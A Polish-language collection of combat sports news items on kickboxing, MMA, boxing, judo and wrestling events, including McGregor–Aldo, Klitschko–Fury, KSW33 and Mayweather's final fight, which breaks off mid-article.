Kto zatriumfuje w Londynie?

Polsko-angielskie pojedynki zawsze budziły ogromne emocje. Tym razem dojdzie do starcia na gruncie kickboxingu i MMA. Już 20 września w Londynie odbędzie się gala Valeriia Duet Fight Night.

Mecz Polska-Anglia to osiem pojedynków, w których wystąpią fighterzy o ugruntowanej pozycji w świecie sportów walki. Biało-czerwonych reprezentować będą m.in. Michał Królik i Maciej Garbaczewski.

Na szali tytuł mistrza Polski

Gala nie będzie zwykłym meczem. Rywalizacja ma zobrazować, która nacja prezentuje się lepiej na płaszczyźnie kickboxingu oraz MMA. Dodatkowo w czterech przypadkach walka będzie toczyła się o pasy mistrzowskie. Stawką dwóch pojedynków będzie tytuł międzynarodowego zawodowego mistrza Polski w K-1 Rules.

Michał Królik z Team Paco Katowice w kategorii 60kg zmierzy się z Paulem Barberem. To starcie będzie swego rodzaju pojedynkiem tytanów, którzy są królami na własnym podwórku. Barber to mistrz Anglii w muay thai. Dokonania Michała Królika są bardzo bogate. Fighter z Katowic wielokrotnie sięgał po medale w rywalizacji w muay thai i K-1, ale nie tylko w kraju – także w Europie i na świecie. Królik może pochwalić się bogatymi zdobyczami na płaszczyźnie zawodowej. W 2013 sięgnął po tytuł mistrza świata federacji WAKO w K-1, zaś trzy lata wcześniej triumfował na tym samym poziomie, tyle że w UPKA. Tym razem stawką rywalizacji będzie pas zawodowego międzynarodowego mistrza Polski w K-1. Królik doskonale zna smak sukcesów, ale Anglik nie będzie łatwym kąskiem. Zwłaszcza, że walczy u siebie.

Macieja Garbaczewskiego nikomu przedstawiać nie trzeba. To doświadczony i utytułowany zawodnik na gruncie kickboxingu. Garbaczewski wygrał ponad pięćdziesiąt walk amatorskich. Na płaszczyźnie kickboxingu zbierał doświadczenia w prawie wszystkich formułach. W tym roku wywalczył tytuł mistrza Polski w low-kicku, a dwa lata temu był najlepszy w kraju w full-contact. Garbaczewski brał wielokrotnie udział w zawodach Pucharu Świata. W Londynie Polak zmierzy się z Kurtisem Allenem, który ma większe zawodowe doświadczenie, o pas międzynarodowego zawodowego mistrza Polski w K-1 67kg.

Mistrzowie gali

Pojedynek o pas mistrza gali Duet Fight Night w MMA w kategorii do 77kg stoczy Ireneusz Szydłowski. Polak do tej pory stoczył trzy pojedynki i może poszczycić się stuprocentową skutecznością. Rywalem Szydłowskiego będzie Andy Kerr. Anglik jest bardziej doświadczony na płaszczyźnie MMA niż Polak. Kerr w zawodowej karierze stoczył dziesięć pojedynków, z czego sześć wygrał. Już raz walczył z zawodnikiem z Polski. Rok temu przez nokaut pokonał Jacka Toczydłowskiego.

Patryk Zaborowski w kategorii 91kg w K-1 powalczy o pas Duet Fight Night z doświadczonym i skutecznym Dawidem Sa. W Londynie zaprezentują się również Marta Waliczek, Roger Garbaczewski, Jerzy Wroński oraz Kamil Jenel.

KM

Conor z pasem w domu?

Wszystko zależy od niego. Conor McGregor już niebawem może spełnić swoje marzenia i sięgnąć po mistrzowski pas UFC w kategorii piórkowej.

Wystarczy tylko pokonać Jose Aldo 12 grudnia podczas gali UFC 194 w Las Vegas. Łatwo się mówi, trudniej zrealizować plan. Brazylijczyk to prawdziwy dominator.

Nagroda czeka

Mówisz McGregor, myślisz show. Irlandczyk ma bogaty repertuar zagrań i potrafi zwrócić na siebie uwagę oraz zainteresować społeczność wydarzeniem, w którym odgrywa jedną z głównych ról. Tak naprawdę McGregor nakręca atmosferę w UFC. Irlandczyk jest swego rodzaju magnesem, dlatego też organizacja dba o niego niczym o swój skarb.

McGregor chce być mistrzem UFC, ale musi pokonać Jose Aldo. Nie będzie to zadanie łatwe. Wielu ekspertów podkreśla, że Brazylijczyk może pokazać Irlandczykowi miejsce w szeregu i pokazać swoją siłę. McGregor potrafi znokautować słowem. Do tej pory w oktagonie radził sobie bez zarzutów. W tym roku stoczył dwa pojedynki i oba wygrał przed czasem. Zalał ciosami Dennisa Sivera i Chada Mendesa. W swojej karierze dwa razy musiał uznać wyższość rywali, po raz ostatni pięć lat temu.

Na walkę z Aldo czekał. Irlandczyk doskonale wie, że Brazylijczyk to ostatnia przeszkoda na drodze do mistrzostwa. McGregor jest przekonany, że odbierze Aldo pas. Brazylijczyk od dziesięciu lat jest niepokonany. 29-letni fighter jest niezwykle wytrzymały i twardy. W ostatnim czasie jego pojedynki trwały pięć rund. McGregor takiego wysiłku jeszcze nie doświadczył.

Warto nadmienić, że Irlandczyk w przypadku zdobycia pasa może wrócić do domu. Nie chodzi o zakończenie kariery, ale pojedynek stoczy na rodzimej ziemi. Jak zapewniał Dan White w przypadku wygranej z Jose Aldo walkę w obronie pasa stoczy na stadionie Croke Park w Dublinie.

Dodatkowa motywacja?

Być może to jeden z elementów, który ma zmotywować McGregora. Choć tak naprawdę Irlandczyk jest świadom wyzwania, przed którym staje, a przede wszystkim jest zdeterminowany, aby zdobyć tytuł.

Dla UFC McGregor jest niezwykle cenny. Irlandczyk to ogromny kapitał i postać, która potrafi przyciągnąć zainteresowanie i zbudować odpowiednią atmosferę wokół swoich kolejnych pojedynków. Z pewnością okazja do stoczenia walki w Dublinie byłaby dla 27-latka ogromnym wyróżnieniem. Stadion, na którym może zasiąść osiemdziesiąt dwa tysiące kibiców robi wrażenie, a McGregor lubi robić show i znakomicie się w tym czuje. Możliwość walki na takim obiekcie to również spełnienie marzeń.

Krytycy podkreślają, że to niepotrzebne wybieganie w przyszłość. Najpierw musi odbyć się walka McGregor-Aldo, aby przekonać się, kto jest prawdziwym mistrzem. Być może Dan White pospieszył się ze swoją deklaracją. W grudniu wszystko się okaże.

KM

Kliczko zostanie terapeutą

Z ringiem pożegnał się Floyd Mayweather Jr., czyli wielka osobowość zawodowego boksu. Przewijał się również temat odejścia na emeryturę Władmira Kliczko. Mistrz wagi ciężkiej przygotowuje się do kolejnej walki i nic nie wskazuje na to, aby był to jego ostatni pojedynek.

Na placu boju pozostał jeden Kliczko. Witalij zajął się działalnością polityczną, z kolei Władimir nadal jest wielkim czempionem wagi ciężkiej. Mówi się o jego dominacji, ale gdzieś w przestrzeni pojawia się pytanie o słabość konkurentów.

Wielka postać

Takich pięściarzy już nie ma. Władimir Kliczko to inny kaliber, rozmiar człowieka, który jest bokserem. Pełna kultura, elegancja, inteligencja oraz umiejętności. Z tym, że kwestią podstawową jest fakt, że Ukraińcowi lat przybywa, a nie ubywa. Przychodzą młodzi gniewni i nie potrafią tego zmienić go na tronie królewskiej kategorii.

Dlaczego? Kliczko kieruje się swoją mądrością i doświadczeniem. Te elementy decydują o jego triumfach. Kliczko jest niczym stary lis, który dokładnie analizuje przeciwnika i wie, kiedy uderzyć. Na to pracuje się latami i Ukrainiec teraz może z tego czerpać. Ostatni raz na zawodowym ringu przegrał w kwietniu 2004 roku z Lamonem Brewsterem. Potem konsekwentnie robił swoje i wszedł na bokserki szczyt. Ukrainiec jest posiadaczem pasów IBF, IBO, WBO i WBA w wadze ciężkiej. Według portalu boxrec.com po zakończeniu kariery przez Floyda Mayweathera Jr., Kliczko jest najlepszym pięściarzem świata bez podziału na kategorie wagowe.

24 października na gali w Dusseldorfie stoczy sześćdziesiąty ósmy pojedynek w karierze. Jego rywalem będzie Tyson Fury.

Leczenie gwarantowane

Bokser z Wysp Brytyjskich do potulnych baranków nie należy i zawsze zwykł głośno mówić o swoich pragnieniach. Nie ulega wątpliwości, że Tyson Fury mierzy wysoko. Na każdym kroku podkreśla swoje dążenie do mistrzostwa. Pojedynek z czempionem z Ukrainy będzie doskonałą okazją do weryfikacji jego umiejętności i predyspozycji do zajęcia miejsca na szczycie.

Obecnie Fury trenuje i intensywnie przygotowuje się do walki z Kliczko. Bokser z Wysp wie, co jest kluczem do wygranej. – Najważniejsza jest siła ciosu. Dlatego pracujemy nad tym, bo wiem, że wygrana z Kliczko możliwa jest przez nokaut i to mam zamiar zrobić. Trenuję z wysokimi facetami. Do ringu wchodzi jeden za drugim. Odbywam kilka rund dziennie – mówi 27-letni Fury.

Kliczko niejednego rywala pozbawił już złudzeń. Tym razem ma być podobnie jak w rywalizacji z Davidem Haye'm. – Sądzę, że mogę sprawić, że Tyson Fury będzie lepszą osobą. David Haye po zastosowanej terapii stał się lepszy. Po kilku latach od naszej walki rozmawiałem z nim i był zupełnie inaczej niż przed pojedynkiem. W przypadku Fury'ego może być podobnie. Mogę przeprowadzić na nim skuteczną terapię – porównuje mistrz wagi ciężkiej.

KM

Gala Kickboxingu Zawodowego IMBIRIADA FIGHTERS NIGHT 5

W sobotę 7 listopada o godz. 19:00 w Rzeszowie odbędzie się kolejna, piąta już edycja Gali Kickboxingu Zawodowego „Fighters Night”. Organizatorzy zapraszają na wspaniałe widowisko „Imbiriada Fighters Night 5” do kompleksu Blue Diamond Hotel Active SPA**** położonego przy trasie Rzeszów – Port Lotniczy Jasionka.

Gale Kickboxingu Zawodowego „ Fighters Night”, to wydarzenia, które wpisały się na stałe w harmonogram imprez organizowanych pod patronatem PZKB i mają na celu wykreowanie jedynego w swoim rodzaju widowiska sportowego, które pokocha publiczność podziwiająca zmagania zawodników na żywo jak i widzowie oglądający przed odbiornikami transmisje internetowe i telewizyjne. Podczas ekscytujących, międzynarodowych gal swój kunszt prezentują Mistrzowie Świata, Europy oraz Polski. Niejednokrotnie już na ringu „Fighters Night” walczyli najlepsi, polscy fighterzy: Iwona Nieroda, Dawid Kasperski, Wojciech Kosowski, Arkadiusz Kaszuba i inni utalentowani zawodnicy, a w walkach międzynarodowych  podziwiani byli zawodnicy z różnych części świata:  Radovan Kulla ze Słowacji, Tudor Turcan z Maroka, Oksana Romanowa z Ukrainy, Dimitar Iliev z Bługarii, Mucahit Kulak z Turcji oraz wielu innych zagranicznych zawodników.  Na galach „Fighters Night” goszczą także znane nie tylko w Polsce ale i na świecie osobistości związane z kickboxingiem, gośćmi specjalnymi poprzednich edycji byli: Albert Sosnowski, Przemysław Saleta, Marek Piotrowski, Ewa Brodnicka. 

Miejsca, uczestnicy, patronaty, znakomici goście, współpraca z partnerami i sponsorami oraz mediami to czynniki, które gwarantują że każda edycja gali „Fighters Night” jest zawsze emocjonującym wydarzeniem sportowym pozostawiającym niezapomniane wrażenia w pamięci zarówno zawodników jak i widzów. Atrakcją wieczoru na galach są walki o pas Międzynarodowego Mistrza Polski oraz o pas Zawodowego Mistrza Polski. W poprzednich edycjach gali pas Międzynarodowego Mistrza Polski w walce z Dimitarem Ilievem z Bułgarii zdobył Dawid Kasperski, a Wojciech Kosowski w walce z Mücahitem Kulakiem z Turcji. Na najbliższej gali również nie zabraknie emocji związanych z walkami o te jakże cenne i prestiżowe dla zawodników trofea. Tym razem o tytuł i pas Międzynarodowego Mistrza Polski będzie walczył zawodnik Rzeszowskiego Klubu Sportów Walki – Arkadiusz Kaszuba,  zaś o tytuł i pas Zawodowego Mistrza Polski walczyć będą Kamil Ruta i jego przeciwnik Mateusz Rycerski. 

Walkom będą towarzyszyć pokazy innych dyscyplin sportów walki oraz niezwykle widowiskowe pokazy artystyczne. Gale „Fighters Night” to również wyjątkowa możliwość  nawiązania nowych relacji partnersko biznesowych podczas wieczornego VIP PARTY organizowanego specjalnie dla wyjątkowych gości, sponsorów, partnerów, celebrytów oraz mediów i zawodników. Wnętrza ekskluzywnych hoteli na terenie całej Polski, w których odbywają się gale nadają wydarzeniom dużego prestiżu. Wybór miejsc nie jest przypadkowy, organizatorzy wybierają je z myślą przede wszystkim o komforcie widzów. Poziom imprez wzrasta z edycji na edycję dzięki doświadczeniu, które organizatorzy zdobywają za każdym razem gdy rusza machina przygotowań. Dzięki prężnie działającemu zespołowi organizacyjnemu udało się już zaplanować  kolejne  gale. Po gali w dniu 7 listopada w Rzeszowie, planowane są w przyszłym roku kolejne : 20 lutego w  Kielcach, 18 czerwca w Warszawie i 17 września we Wrocławiu. 

Organizatorzy poprzez dostarczanie emocjonujących wrażeń sportowych promują kickboxing, ukazują piękno walki w formule K-1 i  chcą aby zawodnicy stali się bardziej rozpoznawalni. A wszystko to po to, aby dyscyplina jak najszybciej znalazła się wśród dyscyplin olimpijskich.

Bilety już w sprzedaży, kontakt pod nr telefonu 609 123 363. ZAPRASZAMY!

Informacja prasowa

Europa powalczy w Oberwart

Kolejna impreza w świecie judo zbliża się wielkimi krokami. Teraz na arenę wkroczą juniorzy, którzy będą rywalizować w mistrzostwach Europy w Oberwart.

Do Austrii uda się dwudziestoosobowa kadra Polski. Najlepsi judocy w Europie rozpoczną rywalizację już w piątek.

Ruszają do boju

O medale powalczy ponad czterystu judoków i judoczek ze Starego Kontynentu. Rywalizacja juniorska zawsze pełna jest zapału, ambicji i uporu. Młodzi judocy chcą na każdym kroku doskonalić się oraz osiągać sukcesy. Często jest tak, że sukces rodzi się w bólach. Przyzwyczailiśmy się, iż w większości przypadków mamy do czynienia z przewagą liczby startujących wśród mężczyzn. Tym razem będzie podobnie. W Oberwart na tatami zaprezentuje się dwustu czterdziestu sześciu judoków i sto sześćdziesiąt cztery judoczki.

Kto będzie reprezentował Polskę? W Oberwart do rywalizacji staną: Żaneta Rerutko (52kg), Julia Kowalczyk (57kg), Martyna Dobrowolska (57kg), Anna Isenko (63kg), Sandra Lickun (70kg), Urszula Hofman (70kg), Kamila Pasternak (78kg), Beata Pacut (78kg), Anita Formela (+78kg), Anna Załęczna (+78kg), Patryk Wawrzyczek (66kg), Tomasz Czerniawski (73kg), Mateusz Garbacz (73kg), Aleksander Wrona (81kg), Sebastian Marcinkiewicz (81kg), Piotr Kuczera (90kg), Jakub Ozimek (90kg), Kacper Szczurkowskia (100kg), Rafał Kozłowski (100kg) oraz Jan Jackiewicz (+100kg).

Z matematycznego punktu widzenia mamy dwadzieścia szans medalowych. Wiadomo, że każdy będzie chciał wypaść jak najlepiej, ale nie wszyscy będą w stanie stanąć na podium.

Jak było rok temu?

Zachowawczość, ostrożność – to słowo klucz. Nie chodzi o brak wiary w umiejętności polskich juniorów, ale o spojrzenie w przeszłość. W naszej kadrze są zawodnicy, którzy śmiało mogą walczyć o podium, ale wiele zależy od dyspozycji dnia oraz drabinki.

Na poprzednim czempionacie Polska wywalczyła dwa medale. Mistrzynią Europy w kategorii 57kg została Anna Borowska, która w Oberwart nie wystartuje. W tym roku zawodniczka Polonii Rybnik pojechała na mistrzostwa świata do Astany, gdzie z reprezentacją kobiet wywalczyła srebrny medal. Wracając do Bukaresztu, Beata Pacut sięgnęła w Rumunii po tytuł wicemistrzyni Europy juniorek. W Austrii będzie miała okazję poprawić ten wynik. Pacut ma za sobą dobry okres. W 2014 roku w Fort Lauderdale wywalczyła brązowy medal mistrzostw świata juniorek.

Naszymi nadziejami medalowymi podczas zbliżających się mistrzostw Europy z pewnością będą Anna Załęczna i Piotr Kuczera, którzy w poprzednim czempionacie byli o krok od podium – uplasowali się na piątych miejscach. Judoka walczący w kategorii 90kg piąty był także na ubiegłorocznych mistrzostwach świata. W tym roku zwyciężył w Pucharze Świata Juniorów i Juniorek we Wrocławiu.

Czy Polacy poprawią ubiegłoroczny dorobek? O tym przekonamy się już niebawem. W Oberwart wystartuje ponad czterystu zawodników, a zaledwie kilkunastu będzie cieszyło się z medali. W tym gronie powinni znaleźć się również Polacy.

KM

DSF Martial Arts Contest we Wrocławiu

Radek Paczuski wystąpi w październiku na gali DSF Martial Arts Contest we Wrocławiu

Już 24 października w Hali Orbita we Wrocławiu zobaczymy w akcji wojownika teamu DSF – Radka Paczuskiego. Podczas gali DSF Martial Arts Contest 1. Muaythai – Polska vs Tajlandia, aktualny Mistrz Polski zaprezentuje się w nieznanej, ale niezwykle atrakcyjnej formule muayboran. To tradycyjna, wręcz rytualna odmiana znanego wszystkim muaythai. 

Fachowcy idą dalej, twierdząc, że muayboran w odróżnieniu od muaythai jest autentyczną sztuką walki, a nie sportem.

Zasadniczą różnicą jest fakt użycia w walce tradycyjnych owijaczy rąk, a nie rękawic., co w założeniu ma potęgować obrażenia zadawane w walce a nie chronić zawodników. Muayboran pozostaje piękną wysoce zrytualizowaną sztuką walki,  ekstremalnie skuteczną zarówno na ringu jak i w sytuacji starcia “ulicznego”. Wierzymy, że walka w tak atrakcyjnej wizualnie formule przyciągnie do hali Orbit rzesze fanów jego talentu.

Sam Radek, w ciszy treningowej sali przygotowuje się do tej rywalizacji, a nam nie pozostaje nic innego jak trzymanie kciuków.

O szczegółach konfrontacji napiszemy już niebawem. Bilety na galę do dostania na www.ticketpro.pl

Informacja prasowa

Decydująca faza walki

Udział w Igrzyskach Olimpijskich w Rio de Janeiro dla wielu judoków jest spełnieniem marzeń. Nasi zawodnicy muszą walczyć o punkty w wyścigu kwalifikacyjnym.

Mistrzostwa świata w Astanie nie potoczyły się po myśli biało-czerwonych. Judocy muszą nadal walczyć o możliwość startu w Rio.

Ważne są punkty

Uproszczeniem będzie stwierdzenie, że wszystko jest już na ostatniej prostej, ale nadużyciem już nie. Czas ucieka. W każdym kolejnym starcie trzeba z siebie dawać jak najwięcej i zdobywać punkty, które będą budować pozycję każdego z zawodników w klasyfikacji olimpijskiej.

Po mistrzostwach świata w Astanie judocy mają chwilę wytchnienia, ale jest to tylko i wyłącznie odpoczynek od zawodów. Kolejne starty już w październiku. O punkty będzie można walczyć podczas zawodów Grand Prix w Uzbekistanie oraz Grand Slam we Francji i Zjednoczonych Emiratach Arabskich. W październiku znacząco będzie można poprawić dorobek punktowy. Największą wagę mają zawody Grand Slam, nieco niżej stoją turnieje Grand Prix, z punktu widzenia możliwości uzyskania profitów w kontekście Rio najsłabiej gratyfikowane są starty w Pucharach Świata.

Ważnym startem będą również przyszłoroczne mistrzostwa Europy, które odbędą się w Kazaniu. W grę wejdzie walka o Igrzyska Olimpijskie oraz rywalizacja o tytuły. Zatem okazji do poprawienia swojego dorobku jest jeszcze sporo, ale czas ucieka nieubłaganie. W przypadku polskich judoków konieczne jest regularne zdobywanie punktów.

Pewna czwórka

Kto wystartuje w Rio de Janeiro? Warto przypomnieć, że awans do Igrzysk Olimpijskich wywalczy czternaście najlepszych zawodniczek i dwudziestu dwóch czołowych judoków z każdej kategorii wagowej. Trzeba pamiętać o jeszcze jednej ważnej kwestii. W każdej kategorii wagowej może wystartować tylko jeden judoka z danego kraju.

Obecnie pewni startu w Rio de Janeiro mogą być Daria Pogorzelec (78 kg), Katarzyna Kłys (70 kg), Agata Ozdoba (63 kg) i Maciej Sarnacki (+100 kg). Wspomniana czwórka na przestrzeni dwóch sezonów notowała dobre starty. Pogorzelec zaprezentowała się najlepiej ze wszystkich reprezentantów Polski podczas mistrzostw świata w Astanie, gdzie wywalczyła piąte miejsce. Z kolei rok temu Kłys sięgnęła po brązowy medal światowego czempionatu. Agata Ozdoba w 2014 roku sięgnęła po brązowy medal mistrzostw Europy. Z kolei Maciej Sarnacki jest najlepszym obecnie polskim judoką i regularnie zdobywa miejsca na podium w zawodach na arenie międzynarodowej.

Kto jeszcze? O kwalifikację może powalczyć Katarzyna Furmanek w kategorii +78kg, która w tym roku w Pucharze Świata w Pradze wywalczyła złoty medal. Nadal naszą nadzieją pozostaje Arleta Podolak w 57kg. Duże możliwości mają Agata Perenc i Karolina Pieńkowska w 52kg, ale obie dochodzą do zdrowia po odniesionych kontuzjach. Damian Szwarnowiecki w kategorii 73kg w tym sezonie również zaliczył kilka przyzwoitych występów. Nadzieje na Rio ma też Łukasz Błach w 81kg.

KM

Bedorf zmierzy się z Kitą

31 października odbędzie się gala KSW32: Road to Wembley, na której zaprezentują się Mariusz Pudzianowski, Borys Mańkowski i Marcin Różalski. Niespełna miesiąc później odbędzie się kolejne wydarzenie.

Na KSW33 w Krakowie dojdzie do walki, na którą wszyscy czekali. O pas mistrzowski KSW w wadze średniej będą rywalizować Michał Materla i Mamed Kahlidov. Organizator ujawnił kolejne pojedynki, do których dojdzie w Krakowie. Ciekawie zapowiada się starcie dwóch czołowych fighterów wagi ciężkiej w Polsce – Karola Bedorfa oraz Michała Kity.

Druga obrona

Popularny „Coco” jest mistrzem KSW w wadze ciężkiej. Po tytuł sięgnął w 2013 roku, kiedy to uporał się z Pawłem Nastulą. Ostatni występ Bedorfa podczas KSW 31 pokazał, że mistrz jest „do ugryzienia”. Wiekowy i nieco ociężały Peter Graham napędził strachu fanom „Coco”. Bedorf wygrał decyzją sędziów, ale panowało przekonanie, że Australijczyk nie sprawi mistrzowi problemów. Rzeczywistość okazała się nieco inna. Pojedynek nie był widowiskowy, dominowała rywalizacja w parterze. Bedorf wygrał, gdyż zadał większą ilość ciosów i okazał się bardziej wytrzymały. Kondycja odegrała jedną z głównych ról w tym starciu. Wcześniej Bedorf odprawił bez większych problemów Rollesa Gracie, pokonując go już w pierwszej rundzie podczas gali KSW 28. „Coco” nie przegrał od sześciu pojedynków.

Michał Kita w Krakowie zadebiutuje w KSW. 35-latek z Zabrza to doświadczony fighter, który budował swoją pozycję w Europie. Kita jest uważany za jednego z czołowych polskich zawodników wagi ciężkiej. Ostatnio walczył w marcu 2014 roku, kiedy to podczas gali PRO MMA Challenge 1 pokonał Mike’a Wessela. Zatem Kita ma ponad półtoraroczny rozbrat z klatką. W swojej karierze 35-letni zawodnik rywalizował z mocnymi fighterami, którzy mieli okazję prezentować się podczas gal UFC czy M-1. Swego czasu ofiarą Kity padł Alexey Oleinik.

Co ciekawe, popularny „Masakra” w swojej karierze rywalizował tylko z jednym rodakiem. W czerwcu 2010 roku spotkał się z Damianem Grabowskim. Kita przegrał tę rywalizację po trzech minutach.

Kita przez długi czas opierał się zakusom KSW, jednak w końcu zdecydował się na walkę dla organizacji. Pojedynki z jego udziałem są niezwykle ciekawe. Tylko dwie walki z Kitą w roli głównej rozstrzygały się przez decyzje sędziów.

Akcent żeński

Na KSW 33 nie zabraknie pań. Drugą walkę w KSW stoczy Kamila Porczyk, która wraca do rywalizacji po kontuzji. Ostatni pojedynek byłej mistrzyni świata fitness miał miejsce w marcu 2014 roku. Do tej pory Porczyk w MMA stoczyła dwa pojedynki i jak na razie może być z siebie zadowolona.

Jej rywalką będzie 23-letnia Katarzyna Lubońska, która w marcu podpisała kontrakt z KSW. Będzie więc to jej debiut, ale zapewne nie ostatni występ. Umowa przewiduje kolejne walki Lubońskiej w KSW.

KM

Krok w kierunku wielkiej walki?

Niemożliwe staje się możliwe. Tak można mówić po zakontraktowaniu walki Mamed Khalidov-Michał Materla. W Polsce ten pojedynek był wyczekiwany. Tak samo jak na całym świecie wszyscy liczą na starcie Cristiane Justino i Rondy Rousey.

Bez wątpienia to najlepsze zawodniczki mieszanych sztuk walki na świecie. O ich rywalizacji mówi się od dłuższego czasu, jednak na drodze do pojedynku pojawiają się przeszkody.

Cyborg” schodzi

Problem dotyczy wagi obu zawodniczek. Rousey jest o kilka kilogramów lżejsza od Justino. Teoretycznie Amerykanka i Brazylijka chcą się spotkać, aby dać odpowiedź na frapujące wszystkich pytanie, która z nich jest lepsza. Chęci są, ale brak porozumienia. Obie panie mają trudności w ustaleniu limitu wagowego walki.

Justino rozbija kolejne rywalki w organizacji Invicta, gdzie jest królową wagi piórkowej. Z kolei Rousey, brązowa medalista olimpijska z Pekinu w judo, weszła na szczyt w UFC. 28-latka dominuje w wadze koguciej i dosłownie miażdży kolejne rywalki. Dlatego cały świat chce zobaczyć to starcie, w którym dojdzie do spotkania Rousey i Justino, czyli szybkości, celności, bezwzględności, wysokich umiejętności w najlepszym wydaniu. Wszyscy chcą, panie też, ale pojedynek jest gdzieś w oddali.

Czy na pewno? Być może to Justino zrobi krok w kierunku pojedynku. Swego czasu UFC stawiało warunek, że zakontraktuje walkę, jeśli „Cyborg” będzie w stanie zejść do 135 funtów wagi. Zawodniczka z Brazylii podjęła działania, aby tak się stało. Nie z dnia na dzień, lecz stopniowo. Justino stoczy kolejną walkę w listopadzie, nazwisko jej rywalki nie jest jeszcze znane. Pojedynek ma odbyć się w limicie 140 funtów, czyli niższym niż zazwyczaj walczy „Cyborg”. Wydaje się, że to działania zmierzające do spełnienia wymagań, co pozwoli na doprowadzenie do podpisania kontraktu na starcie z Rousey.

Kolejnym krokiem będzie zapewne zejście do 135 funtów, a więc do wagi „Rowdy”. Zatem Justino stoczy jeszcze dwa pojedynki, aby osiągnąć wymagany limit. Zgodnie z matematyką można spodziewać się, że w przyszłym roku dojdzie do wielkiego pojedynku. Jeśli na drodze nie pojawią się inne przeszkody.

Rousey wytyka

Obie mają we krwi zapisane zwycięstwo. „Cyborg” w swojej karierze zaliczyła wpadkę. Na początku kariery przegrała z Ericą Paes. Justino ma również na sumieniu jeszcze jedno przewinienie. W grudniu 2011 roku rywalizowała z Hiroko Yamanaką. Walkę uznano za „no contest”. Dlaczego? Justino zaliczyła wpadkę na testach antydopingowych i to jest element, którego chętnie „czepia” się Rousey. Mówią, że wszystkie chwyty są dozwolone.

Królowa UFC 15 listopada stanie przed kolejnym wyzwaniem. Holly Holm jeszcze nigdy nie przegrała, ale Rousey wielu zawodniczkom zaaplikowała gorycz porażki. Czy tym razem będzie podobnie? Mistrzyni UFC musi być w formie, bo nie wiadomo, kiedy Justino przystąpi do ataku. Ich rywalizacja jest widoczna. Ostatnią walkę „Cyborg” rozstrzygnęła w czterdzieści pięć sekund, a „Rowdy” zakończyła pojedynek o jedenaście sekund szybciej.

KM

Brzeziński poza dziesiątką

Mistrzostwa świata w Las Vegas nie przyniosły radości polskim zapaśnikom. Żadnemu z Polaków nie udało się wywalczyć medalu ani kwalifikacji olimpijskiej do Rio de Janeiro.

Jako ostatni z biało-czerwonych startował Krystian Brzeziński w kategorii 74kg w stylu wolnym. Polak zajął jedenaste miejsce.

Gadżyjew najwyższej

Najlepszy wynik spośród naszych zawodników w stylu wolnym zanotował Magomiedmurad Gadżyjew w kategorii 65kg, który zajął siódmą pozycję. Zapaśnik AKS Białogard stoczył w Las Vegas cztery pojedynki – dwa wygrał, dwa przegrał. Na swojej drodze spotkał mistrza świata Franka Chemizo.

Również cztery pojedynki w Las Vegas stoczył Krystian Brzeziński. Polski zapaśnik nieudanie zainaugurował start w mistrzostwach świata. W pierwszym pojedynku musiał uznać wyższość Jordana Ernesta Burroughsa. Amerykanin to nie byle jaki zawodnik. Burroughs zdobył w Las Vegas tytuł mistrza świata. Przygoda Brzezińskiego nie zakończyła się na jednej walce, Polak trafił do repasaży. Tam poczynał sobie dobrze, ale tylko do czasu. Na początek rywalem Brzezińskiego był Oleg Zakharevych. Ukrainiec nie sprawił naszemu zapaśnikowi większych problemów, tak jak i Mikhaly Nagy w kolejnym pojedynku. Udział Brzezińskiego w mistrzostwach świata zakończył Alireza Mohammad Ghasemi, który zajął piątą pozycję.

Jak wcześniej informowaliśmy, nieudany start zaliczył Radosław Marcinkiewicz w kategorii 86kg. Polak stoczył w Las Vegas zaledwie jeden pojedynek. Z kolei Radosław Baran w 97kg udział w mistrzostwach zakończył na 1/8 finału, gdzie poległ w starciu z późniejszym złotym medalistą – Kyle’m Snyderem.

Trzeci tytuł Burroughsa

Amerykanin odzyskał tytuł mistrzowski po dwóch latach. Rok temu w Taszkiencie Burroughs wywalczył brązowy medal. W finale w Las Vegas rywalem 27-letniego Amerykanina był  Pürewdżawyn Önörbat. Trzeci złoty medal mistrzostw świata Burroughsa stał się faktem.

Po zdobyciu mistrzostwa Europy przyszedł czas na triumf w światowym czempionacie. Taką drogę obrał Wladimer Chinczegaszwili. Gruzin triumfował w kategorii 55kg. Na szczyt wszedł Magomiedrasuł Gazimagomiedow w 70kg. 24-letni zapaśnik z Dagestanu jest w tym roku w fenomenalnej formie. W Baku sięgnął po złoty medal w Igrzyskach Europejskich. Dobrą passę kontynuuje dalej i w Las Vegas wywalczył tytuł mistrza świata pokonując w finale Hasana Yazdaniego. Taha Akgul od kilku lat prezentuje wysoki poziom. Reprezentant Turcji niepodzielnie panuje w kategorii 125kg w Europie i na świecie. W Las Vegas powtórzył wynik osiągnięty przed rokiem. Nadal czeka na medal Igrzysk Olimpijskich.

Kto najlepszy?

Rzut oka na klasyfikację medalową. Kto zdobył wywalczył najwięcej miejsc na podium? Najlepsi okazali się Rosjanie, którzy wywalczyli aż czternaście medali i ten wynik pokazuje, kto rozdaje karty na świecie. Reprezentanci Sbornej zdobyli cztery złote medale, tyle samo na swoim koncie zapisali Amerykanie – drudzy w klasyfikacji medalowej. Trzecie miejsce dla Turcji, która wywalczyła sześć krążków. Za podium Japonia z trzema złotymi medalami. Ukraina zdobyła aż dziewięć krążków, ale tylko dwa pierwsze miejsca.

Przy Polsce okrągłe zero. Nasi reprezentanci nie powtórzyli dobrego wyniku z Igrzysk Europejskich w Baku, czy też zeszłorocznych osiągnięć z Taszkientu. Brak medali, brak kwalifikacji olimpijskich.

KM

Odchodzi jako niepokonany

Jak zapowiadał, tak zrobił. Floyd Mayweather Jr. stoczył ostatni pojedynek w karierze. Popularny „Money” schodzi z ringu jako niepokonany.

W ostatnim pojedynku w karierze Mayweather zmierzył się z Andre Berto. Podczas gali w Las Vegas Amerykanin odniósł czterdzieste dziewiąte zwycięstwo na zawodowym ringu.

Walka bez historii

Do samego końca zastanawiano się, czy Mayweather wejdzie na ring po raz ostatni. Z niecierpliwością czekano na ten pojedynek. Andre Berto zapowiadał, że będzie starał się pokonać faworyzowanego mistrza wagi średniej, ale na słowach tylko się skończyło.

Jak opisać ten pojedynek? Najkrócej: mistrz jest tylko jeden. Tak wypada to ująć. Mayweather robił swoje, kontrolował pojedynek i tak naprawdę nie przemęczał się w ringu. Wraz z upływem czasu narastała frustracja u Berto. Floyd w rytm piosenki „pojawiał się i znikał”. „Money” zaskakiwał swojego rywala szybkimi i celnymi ciosami, a następnie oddalał się. Mayweather kontrolował przebieg pojedynku w półdystansie, gdy nastała sposobność atakował Berto. Ten z kolei nie potrafił się odnaleźć. Widoczne było, że 32-latek z Florydy ma na tle „Moneya” ubogi repertuar. Ten pojedynek przerósł Berto.

